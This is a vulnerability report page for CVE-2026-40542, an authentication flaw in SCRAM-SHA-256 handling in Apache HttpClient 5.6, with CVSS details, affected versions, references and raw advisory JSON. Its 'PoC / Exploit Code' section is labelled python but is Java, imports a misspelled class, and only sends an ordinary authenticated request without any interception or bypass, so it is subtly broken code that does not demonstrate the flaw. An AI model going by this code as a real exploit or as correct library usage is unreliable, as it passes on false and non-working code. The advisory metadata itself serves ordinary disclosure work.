Security Vulnerability Report
中文
CVE-2026-40542 CVSS 7.3 HIGH

CVE-2026-40542

Published: 2026-04-22 08:16:13
Last Modified: 2026-05-01 17:13:00

Description

Missing critical step in authentication in Apache HttpClient 5.6 allows an attacker to cause the client to accept SCRAM-SHA-256 authentication without proper mutual authentication verification. Users are recommended to upgrade to version 5.6.1, which fixes this issue.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:httpclient:5.6:-:*:*:*:*:*:* - VULNERABLE
Apache HttpClient 5.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import org.apache.hc.client5.http.impl.auth.SCAMCredentials; import org.apache.hc.client5.http.impl.classic.CloseableHttpClient; import org.apache.hc.client5.http.impl.classic.HttpClients; import org.apache.hc.core5.http.ClassicHttpRequest; import org.apache.hc.core5.http.ClassicHttpResponse; import org.apache.hc.core5.http.HttpHost; import org.apache.hc.core5.http.io.HttpClientResponseHandler; import org.apache.hc.core5.http.io.entity.EntityUtils; import org.apache.hc.core5.http.io.entity.StringEntity; // Conceptual PoC for CVE-2026-40542 // Demonstrates that a client using vulnerable HttpClient 5.6 might accept a SCRAM response // without verifying the server signature strictly. public class Cve202640542PoC { public static void main(String[] args) throws Exception { // Target vulnerable server or simulated MITM environment HttpHost target = new HttpHost("https", "vulnerable.example.com", 443); // In a real exploit scenario, the attacker would intercept the SCRAM exchange // and provide a response that passes the weak check but fails mutual auth. try (CloseableHttpClient httpClient = HttpClients.custom().build()) { // Setup request with SCRAM-SHA-256 credentials SCRAMCredentials credentials = new SCRAMCredentials("user", "password"); // This request would normally fail if server signature verification was correct. // In the vulnerable version (5.6), it might succeed against a malicious actor. ClassicHttpRequest request = new org.apache.hc.client5.http.classic.methods.HttpGet("/secure-data"); HttpClientResponseHandler<String> responseHandler = response -> { int status = response.getCode(); if (status >= 200 && status < 300) { return EntityUtils.toString(response.getEntity()); } else { throw new Exception("Unexpected response status: " + status); } }; String responseBody = httpClient.execute(target, request, responseHandler); System.out.println("Received response (Potential Bypass): " + responseBody); } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40542", "sourceIdentifier": "[email protected]", "published": "2026-04-22T08:16:12.780", "lastModified": "2026-05-01T17:12:59.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing critical step in authentication in Apache HttpClient 5.6 allows an attacker to cause the client to accept SCRAM-SHA-256 authentication without proper mutual authentication verification. Users are recommended to upgrade to version 5.6.1, which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-304"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:httpclient:5.6:-:*:*:*:*:*:*", "matchCriteriaId": "0E0B553E-826B-4260-80BD-3151F3FAFE07"}]}]}], "references": [{"url": "https://lists.apache.org/thread/tfmgv86xr0z1y096vs3z0y315t1v3o97", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/22/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}